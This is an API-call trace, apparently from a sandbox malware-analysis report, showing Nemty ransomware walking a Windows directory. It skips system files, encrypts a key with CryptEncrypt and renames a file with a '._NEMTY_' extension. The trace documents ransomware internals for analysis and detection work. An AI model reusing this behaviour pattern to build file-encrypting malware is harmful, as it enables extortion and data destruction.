(lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="MSDOS.SYS") returned 1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="IO.SYS") returned 1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="boot.ini") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="boot.ini") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="AUTOEXEC.BAT") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="ntuser.dat") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="desktop.ini") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="CONFIG.SYS") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="RECYCLER") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="BOOTSECT.BAK") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="bootmgr") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="programdata") returned 1 [0108.061] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="appdata") returned 1 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94140 [0108.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedShuangPin.txt", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedShuangPin.txt", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedShuangPin.txt", lpUsedDefaultChar=0x0) returned 39 [0108.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94198 [0108.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedShuangPin.txt", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedShuangPin.txt", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedShuangPin.txt", lpUsedDefaultChar=0x0) returned 39 [0108.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0108.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94140 | out: hHeap=0x4f90000) returned 1 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94140 [0108.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedShuangPin.txt", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedShuangPin.txt", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedShuangPin.txt", lpUsedDefaultChar=0x0) returned 39 [0108.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94140 | out: hHeap=0x4f90000) returned 1 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94140 [0108.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedShuangPin.txt", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedShuangPin.txt", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedShuangPin.txt", lpUsedDefaultChar=0x0) returned 39 [0108.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94140 | out: hHeap=0x4f90000) returned 1 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94140 [0108.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94088 [0108.061] Sleep (dwMilliseconds=0x5) [0108.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf4107ab0, dwHighDateTime=0x1d561e7)) [0108.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf4107ab0, dwHighDateTime=0x1d561e7)) [0108.074] GetLastError () returned 0x5 [0108.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0108.075] GetLastError () returned 0x5 [0108.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0108.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.075] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0108.075] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0108.075] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0108.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941f8 [0108.075] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941f8, pcchString=0x653ef9c | out: pszString="M+AKMFKq/KmrnAu3SeXc5HtxLqllg8gb3cBmnlVcqtnZrNa22/NhN3FoRMzUW6ni\r\nwGNi5x6I+8KdID8cu9ELRMUzT0lC2Tgtu9khqggu+/OqPnEJOLX0jcnUivKvDq93\r\nwIP2/wWRd+9OmINaogRtgepa603LzRjDPab/wsLYiuLEK94JvoKC+6eomdNli2Tb\r\niXtpQS47NeeHIhPrXHPMpq8wBP5M89kZGo5CPqohjiwfcoyxaW6QG15cwCrDVbqG\r\nBe8+EllMD5bWkgOrJPtkawCGeUfKonXxPRImpN/KqL+QoWQ3OBHdXJAsznGQRpgC\r\nUiV4qQ86GV0l/bzNG8fmpg==\r\n", pcchString=0x653ef9c) returned 1 [0108.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0108.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0108.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0108.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941f8 [0108.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0108.075] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.075] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0108.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0108.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.171] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0108.183] CloseHandle (hObject=0xffffffff) returned 0 [0108.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94368 [0108.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0108.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0108.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0108.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0108.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0108.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt._nemty_kgobjgd_")) returned 0 [0108.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0108.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0108.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0108.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0108.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0108.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0108.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.184] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba4219, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ba4219, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="..") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="...") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="windows") returned -1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="$RECYCLE.BIN") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="rsa") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="NTDETECT.COM") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="ntldr") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="MSDOS.SYS") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="IO.SYS") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="boot.ini") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="boot.ini") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="AUTOEXEC.BAT") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="ntuser.dat") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="desktop.ini") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="CONFIG.SYS") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="RECYCLER") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="BOOTSECT.BAK") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="bootmgr") returned 1 [0108.184] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="programdata") returned 1 [0108.185] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="appdata") returned 1 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0108.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedZhengMa.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0108.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.185] WideCharToMultiByte 